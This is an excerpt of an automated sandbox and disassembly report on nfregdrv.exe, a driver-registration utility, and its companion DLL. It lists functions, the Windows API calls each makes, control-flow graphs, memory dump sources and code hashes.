                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CharDriver@nfapi@@Next$?nf_register?nf_unMessageRegister
                                                                                                                  • String ID: Usage: nfregdrv.exe <driver_name> - register windows\system32\drivers\<driver_name>.sys nfregdrv.exe -u <driver_name> - unregister windows\system32\drivers\<driver_name>.sys$nfregdvr
                                                                                                                  • API String ID: 1889258244-2180452595
                                                                                                                  • Opcode ID: 3a882d4fb6fe95bf0d5de4b4e3cf2f64ab34e96ef2f70e27ee227c43f8033b4f
                                                                                                                  • Instruction ID: 1ab8e34958d480acc8493b27089cbdf5696b9cf7d697ab9778d1d713517b65dd
                                                                                                                  • Opcode Fuzzy Hash: 3a882d4fb6fe95bf0d5de4b4e3cf2f64ab34e96ef2f70e27ee227c43f8033b4f
                                                                                                                  • Instruction Fuzzy Hash: 8F01DE705082806AE70163746E057877A806F55755F08C87BF9D4B63E2E6B88898C7BF
                                                                                                                  Function 100141E0 Relevance: 7.6, APIs: 5, Instructions: 73COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 100141E6
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100141FA
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,00000000,?,0000024A,00000000,00000000,?,00000000), ref: 10014287
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014297
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3744975357-0
                                                                                                                  • Opcode ID: c1d6194b3b625dbf574e7b20ed250350b817444bdaab0ad358dee30cb838081e
                                                                                                                  • Instruction ID: 85bbbeb16c55dea885b82d2df4faedcc8aa5688a631ff53f8ce63f3f1ec5c482
                                                                                                                  • Opcode Fuzzy Hash: c1d6194b3b625dbf574e7b20ed250350b817444bdaab0ad358dee30cb838081e
                                                                                                                  • Instruction Fuzzy Hash: 17110A76510210AFE700CB68DC89E9633E9EF89761F51C215F6168F1E5EF70EAC4C6A1
                                                                                                                  Function 10007CCF Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • IsDebuggerPresent.KERNEL32 ref: 1000A7F0
                                                                                                                  • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1000A805
                                                                                                                  • UnhandledExceptionFilter.KERNEL32(100198DC), ref: 1000A810
                                                                                                                  • GetCurrentProcess.KERNEL32(C0000409), ref: 1000A82C
                                                                                                                  • TerminateProcess.KERNEL32(00000000), ref: 1000A833
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2579439406-0
                                                                                                                  • Opcode ID: 06ef2c53437fd46401bc4568d3fe183aff5b9b3a6a8811e184a836bfc1ef5544
                                                                                                                  • Instruction ID: 5cd202c4d6932f10897f274e1b34921bd933b478cb37430cfba53272a53993d9
                                                                                                                  • Opcode Fuzzy Hash: 06ef2c53437fd46401bc4568d3fe183aff5b9b3a6a8811e184a836bfc1ef5544
                                                                                                                  • Instruction Fuzzy Hash: 9E21AEB89083259FF701DF94DCC46647BE4FB28754F40D15EE508872A5E7B0D9808F45
                                                                                                                  Function 10014000 Relevance: 7.5, APIs: 5, Instructions: 37COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32 ref: 10014010
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014025
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,0022019C,00000000,00000000,00000000,00000004,00000000,00000000), ref: 10014049
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 1001405F
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3744975357-0
                                                                                                                  • Opcode ID: 4981ae034996778ee2c8bf16bcf631c7842ba69716a9c5caf53513e94cd4e299
                                                                                                                  • Instruction ID: 194b0543918d9f7547c24edad603a73f0d8bc4c4cca9a48bf73c364b07b3f58e
                                                                                                                  • Opcode Fuzzy Hash: 4981ae034996778ee2c8bf16bcf631c7842ba69716a9c5caf53513e94cd4e299
                                                                                                                  • Instruction Fuzzy Hash: E8F09674A10310AFF701EB60ED89B8937A6EB98F12FC2C514F7098A1E1D7B5D95CC662
                                                                                                                  Function 10014170 Relevance: 7.5, APIs: 5, Instructions: 32COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 10014176
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 1001418B
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,002201D0,00000000,00000000,00000000,00000000,?,00000000), ref: 100141AD
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100141BC
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3744975357-0
                                                                                                                  • Opcode ID: ed04f4c91301ef5749866e6216c76f80c91ee0689320974670393c5e7210247c
                                                                                                                  • Instruction ID: ea0cb0fdb19bb7dbbc03564ec765e3cd75472be6806d2b7526bfc3e15de05ea0
                                                                                                                  • Opcode Fuzzy Hash: ed04f4c91301ef5749866e6216c76f80c91ee0689320974670393c5e7210247c
                                                                                                                  • Instruction Fuzzy Hash: 83F03974261310BFF205D7749D8AF5533A9EF18B32F628708F62AD90E1DF70E8449A51
                                                                                                                  Function 100013F0 Relevance: 3.1, APIs: 2, Instructions: 77COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • ResetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,100175DD,10020370), ref: 100013FC
                                                                                                                  • GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,100175DD,10020370), ref: 10001411
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: EventInfoResetSystem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3761259369-0
                                                                                                                  • Opcode ID: 508fc2042419c3a36b202234b76a069f5d08a4c1d9f6591d6dd30bc335c3ad5d
                                                                                                                  • Instruction ID: 39d4c7a7ad4dc565fb3197904db44af1b56c26df66e8bdcd4ed7d8d6cef16289
                                                                                                                  • Opcode Fuzzy Hash: 508fc2042419c3a36b202234b76a069f5d08a4c1d9f6591d6dd30bc335c3ad5d
                                                                                                                  • Instruction Fuzzy Hash: DE210172A002119BE320CE14CD40F9B73EAEFC4790F0A891CED5A9B268EA71FD4487D1
                                                                                                                  Function 004017B5 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 156fileCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 303 4017b5-4017bf 304 4017c1-4017c8 303->304 305 4017d0-4017d3 304->305 306 4017ca-4017ce 304->306 307 401950-401954 305->307 308 4017d9-4017e5 call 403850 305->308 306->304 306->305 311 4017eb-4017f5 call 403850 308->311 312 40191c-401928 GetStdHandle 308->312 319 401804-40180a 311->319 320 4017f7-4017fe 311->320 313 40192a-40192d 312->313 314 40194f 312->314 313->314 316 40192f-401949 call 403760 WriteFile 313->316 314->307 316->314 319->314 322 401810-40182b call 4037eb 319->322 320->312 320->319 325 40183a-401856 GetModuleFileNameA 322->325 326 40182d-401837 call 402d4d 322->326 328 401858-40186d call 4037eb 325->328 329 40187e-401889 call 403760 325->329 326->325 328->329 335 40186f-40187b call 402d4d 328->335 336 4018c3 329->336 337 40188b-4018b0 call 403760 call 4036a2 329->337 335->329 338 4018c5-4018d6 call 403631 336->338 337->336 349 4018b2-4018c1 call 402d4d 337->349 347 4018e5-4018f8 call 403631 338->347 348 4018d8-4018e2 call 402d4d 338->348 355 401907-40191a call 403474 347->355 356 4018fa-401904 call 402d4d 347->356 348->347 349->338 355->314 356->355
                                                                                                                  APIs
                                                                                                                  • _strcpy_s.LIBCMT ref: 00401821
                                                                                                                  • __invoke_watson.LIBCMT ref: 00401832
                                                                                                                  • GetModuleFileNameA.KERNEL32(00000000,0040B059,00000104), ref: 0040184E
                                                                                                                  • _strcpy_s.LIBCMT ref: 00401863
                                                                                                                  • __invoke_watson.LIBCMT ref: 00401876
                                                                                                                  • _strlen.LIBCMT ref: 0040187F
                                                                                                                  • _strlen.LIBCMT ref: 0040188C
                                                                                                                  • __invoke_watson.LIBCMT ref: 004018B9
                                                                                                                  • _strcat_s.LIBCMT ref: 004018CC
                                                                                                                  • __invoke_watson.LIBCMT ref: 004018DD
                                                                                                                  • _strcat_s.LIBCMT ref: 004018EE
                                                                                                                  • __invoke_watson.LIBCMT ref: 004018FF
                                                                                                                  • GetStdHandle.KERNEL32(000000F4,?,?,00000000,77355E70,00000003,00401981,000000FC,00405D85,00000001,00000000,00000000,?,004040D4,?,00000001), ref: 0040191E
                                                                                                                  • _strlen.LIBCMT ref: 0040193F
                                                                                                                  • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,004040D4,?,00000001,?,00402C9C,00000018,004094A0,0000000C,00402D2B,?), ref: 00401949
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: __invoke_watson$_strlen$File_strcat_s_strcpy_s$HandleModuleNameWrite
                                                                                                                  • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
                                                                                                                  • API String ID: 1879448924-4022980321
                                                                                                                  • Opcode ID: 38520d41a68f396a59cc94f311c6a7ce392be311100e9e9c31ac4f97fc74b26a
                                                                                                                  • Instruction ID: ac205ba077d332f24294b0c45a0e422cb4ceea3e0f9d8061dc6338a319882752
                                                                                                                  • Opcode Fuzzy Hash: 38520d41a68f396a59cc94f311c6a7ce392be311100e9e9c31ac4f97fc74b26a
                                                                                                                  • Instruction Fuzzy Hash: 043126E26402057AE6213A265E4AF2F3A4C9B01755F14403BFD45B22F3FA7E9A1181FE
                                                                                                                  Function 1000A532 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 156fileCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  • _strcpy_s.LIBCMT ref: 1000A59E
                                                                                                                  • __invoke_watson.LIBCMT ref: 1000A5AF
                                                                                                                  • GetModuleFileNameA.KERNEL32(00000000,1001F3C9,00000104), ref: 1000A5CB
                                                                                                                  • _strcpy_s.LIBCMT ref: 1000A5E0
                                                                                                                  • __invoke_watson.LIBCMT ref: 1000A5F3
                                                                                                                  • _strlen.LIBCMT ref: 1000A5FC
                                                                                                                  • _strlen.LIBCMT ref: 1000A609
                                                                                                                  • __invoke_watson.LIBCMT ref: 1000A636
                                                                                                                  • _strcat_s.LIBCMT ref: 1000A649
                                                                                                                  • __invoke_watson.LIBCMT ref: 1000A65A
                                                                                                                  • _strcat_s.LIBCMT ref: 1000A66B
                                                                                                                  • __invoke_watson.LIBCMT ref: 1000A67C
                                                                                                                  • GetStdHandle.KERNEL32(000000F4,00000001,00000001,00000000,77355E70,00000003,1000A6FE,000000FC,10007C34,00000001,00000000,00000000,?,1000B162,?,00000001), ref: 1000A69B
                                                                                                                  • _strlen.LIBCMT ref: 1000A6BC
                                                                                                                  • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,1000B162,?,00000001,00000001,1000949D,00000018,1001B628,0000000C,1000952C,00000001), ref: 1000A6C6
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: __invoke_watson$_strlen$File_strcat_s_strcpy_s$HandleModuleNameWrite
                                                                                                                  • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
                                                                                                                  • API String ID: 1879448924-4022980321
                                                                                                                  • Opcode ID: 4af349e1e8f6137c98c74494d34e3a9ba254edd55f11037dcb0b6f13b7d5c0d9
                                                                                                                  • Instruction ID: ea148cf6e80d7e79cea2e11fe5e00895b7d8e29f61cf08ee7211173885be836a
                                                                                                                  • Opcode Fuzzy Hash: 4af349e1e8f6137c98c74494d34e3a9ba254edd55f11037dcb0b6f13b7d5c0d9
                                                                                                                  • Instruction Fuzzy Hash: E83118B69001252AF600E6208C56F7F369CEF172D0F050225FD49A519BEF37EEC241B6
                                                                                                                  Function 0040267F Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 109libraryloadermemoryCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 421 40267f-40268f GetModuleHandleA 422 402691-402699 call 4023d3 421->422 423 40269a-4026e2 GetProcAddress * 4 421->423 425 4026e4-4026eb 423->425 426 4026fa-402719 423->426 425->426 428 4026ed-4026f4 425->428 429 40271e-40272c TlsAlloc 426->429 428->426 430 4026f6-4026f8 428->430 431 402732-40273d TlsSetValue 429->431 432 4027fe 429->432 430->426 430->429 431->432 433 402743-402792 call 401769 call 4022b3 * 4 call 402b9c 431->433 434 402800-402802 432->434 447 402794-4027af call 40232a 433->447 448 4027f9 call 4023d3 433->448 447->448 453 4027b1-4027c3 call 404107 447->453 448->432 453->448 456 4027c5-4027dc call 40232a 453->456 456->448 460 4027de-4027f7 call 402410 GetCurrentThreadId 456->460 460->434
                                                                                                                  APIs
                                                                                                                  • GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,00401248), ref: 00402685
                                                                                                                  • __mtterm.LIBCMT ref: 00402691
                                                                                                                    • Part of subcall function 004023D3: TlsFree.KERNEL32(00000003,004027FE), ref: 004023FE
                                                                                                                    • Part of subcall function 004023D3: DeleteCriticalSection.KERNEL32(00000000,00000000,7622DFB0,00000001,004027FE), ref: 00402C00
                                                                                                                    • Part of subcall function 004023D3: DeleteCriticalSection.KERNEL32(00000003,7622DFB0,00000001,004027FE), ref: 00402C2A
                                                                                                                  • GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004026A7
                                                                                                                  • GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004026B4
                                                                                                                  • GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 004026C1
                                                                                                                  • GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004026CE
                                                                                                                  • TlsAlloc.KERNEL32 ref: 0040271E
                                                                                                                  • TlsSetValue.KERNEL32(00000000), ref: 00402739
                                                                                                                  • __init_pointers.LIBCMT ref: 00402743
                                                                                                                  • __calloc_crt.LIBCMT ref: 004027B8
                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 004027E8
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
                                                                                                                  • String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
                                                                                                                  • API String ID: 2125014093-3819984048
                                                                                                                  • Opcode ID: 566b6117ed883b32ce1da04161b31b8634341426bd229c3b9e021c861b04e7bb
                                                                                                                  • Instruction ID: cf69b49cc4cf955eeb84bbbee0c69ed19c09a43a9505152bb4945c0e988a6b5c
                                                                                                                  • Opcode Fuzzy Hash: 566b6117ed883b32ce1da04161b31b8634341426bd229c3b9e021c861b04e7bb
                                                                                                                  • Instruction Fuzzy Hash: EF313931900311DADB51AB75AF49A063BA4EB44354B10053FE994B72F2DFB98540DF9E
                                                                                                                  Function 1000AD10 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,10008AB7,?,?,00000001,?,?,10008C27,00000001,?,?,1001B608,0000000C,10008CE1,?), ref: 1000AD16
                                                                                                                  • __mtterm.LIBCMT ref: 1000AD22
                                                                                                                    • Part of subcall function 1000A9FB: TlsFree.KERNEL32(00000001,10008B53,?,?,00000001,?,?,10008C27,00000001,?,?,1001B608,0000000C,10008CE1,?), ref: 1000AA26
                                                                                                                  • GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 1000AD38
                                                                                                                  • GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 1000AD45
                                                                                                                  • GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 1000AD52
                                                                                                                  • GetProcAddress.KERNEL32(00000000,FlsFree), ref: 1000AD5F
                                                                                                                  • TlsAlloc.KERNEL32(?,?,00000001,?,?,10008C27,00000001,?,?,1001B608,0000000C,10008CE1,?), ref: 1000ADAF
                                                                                                                  • TlsSetValue.KERNEL32(00000000,?,?,00000001,?,?,10008C27,00000001,?,?,1001B608,0000000C,10008CE1,?), ref: 1000ADCA
                                                                                                                  • __init_pointers.LIBCMT ref: 1000ADD4
                                                                                                                  • __calloc_crt.LIBCMT ref: 1000AE49
                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 1000AE79
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AddressProc$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
                                                                                                                  • String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
                                                                                                                  • API String ID: 630932248-3819984048
                                                                                                                  • Opcode ID: 27197f949f2674e2884e29655a0beec5e1f2c8da553a5096224482f203d367b5
                                                                                                                  • Instruction ID: 1b7aacb4b742e95e3da3d0493d0b543e31d3ba40a5e9cc7053759451afc8b022
                                                                                                                  • Opcode Fuzzy Hash: 27197f949f2674e2884e29655a0beec5e1f2c8da553a5096224482f203d367b5
                                                                                                                  • Instruction Fuzzy Hash: D5317EB1801262AAFB10EF78CC85A253FA4EB622D0B22C72EF425C71A4DF35C4C0CB51
                                                                                                                  Function 10017590 Relevance: 28.7, APIs: 19, Instructions: 204filesynchronizationCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • SetEvent.KERNEL32(FFFFFFFF), ref: 100175B7
                                                                                                                    • Part of subcall function 100013F0: ResetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,100175DD,10020370), ref: 100013FC
                                                                                                                    • Part of subcall function 100013F0: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,100175DD,10020370), ref: 10001411
                                                                                                                  • EnterCriticalSection.KERNEL32(100203D8,100203F0,10020370), ref: 10017613
                                                                                                                  • LeaveCriticalSection.KERNEL32(100203D8), ref: 10017621
                                                                                                                  • ReadFile.KERNEL32(FFFFFFFF,?,00000008,00000000,?), ref: 10017661
                                                                                                                  • GetLastError.KERNEL32 ref: 1001766B
                                                                                                                  • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,0000000A), ref: 1001768B
                                                                                                                  • EnterCriticalSection.KERNEL32(100203D8), ref: 100176B7
                                                                                                                  • LeaveCriticalSection.KERNEL32(100203D8), ref: 100176C4
                                                                                                                  • SetEvent.KERNEL32(?), ref: 100176D9
                                                                                                                  • SetEvent.KERNEL32(?), ref: 100176ED
                                                                                                                  • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,00001388), ref: 10017700
                                                                                                                  • WaitForSingleObject.KERNEL32(FFFFFFFF,00000000), ref: 10017719
                                                                                                                  • GetOverlappedResult.KERNEL32(FFFFFFFF,?,?,00000000), ref: 10017739
                                                                                                                  • EnterCriticalSection.KERNEL32(100203D8), ref: 100177F0
                                                                                                                  • LeaveCriticalSection.KERNEL32(100203D8), ref: 100177FD
                                                                                                                  • SetEvent.KERNEL32(?), ref: 10017812
                                                                                                                  • SetEvent.KERNEL32(?), ref: 10017826
                                                                                                                  • CancelIo.KERNEL32(FFFFFFFF), ref: 10017847
                                                                                                                  • SetEvent.KERNEL32(FFFFFFFF), ref: 10017868
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Event$CriticalSection$EnterLeaveWait$MultipleObjects$CancelErrorFileInfoLastObjectOverlappedReadResetResultSingleSystem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2252100280-0
                                                                                                                  • Opcode ID: e910f63d7a54be93efb29594c5c449f4169a1d0cc538782f8b68b19805b9bf9f
                                                                                                                  • Instruction ID: f695dd025300f569b5dc1954a0fe927f0ea0d4c7cb43f690e196a72113c686ee
                                                                                                                  • Opcode Fuzzy Hash: e910f63d7a54be93efb29594c5c449f4169a1d0cc538782f8b68b19805b9bf9f
                                                                                                                  • Instruction Fuzzy Hash: 147180719093A19FE341DB64CCC4A5E7BFAFB88344F51881DF549CB262D630E945CB52
                                                                                                                  Function 10013790 Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 156fileCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • __snprintf.LIBCMT ref: 100137C7
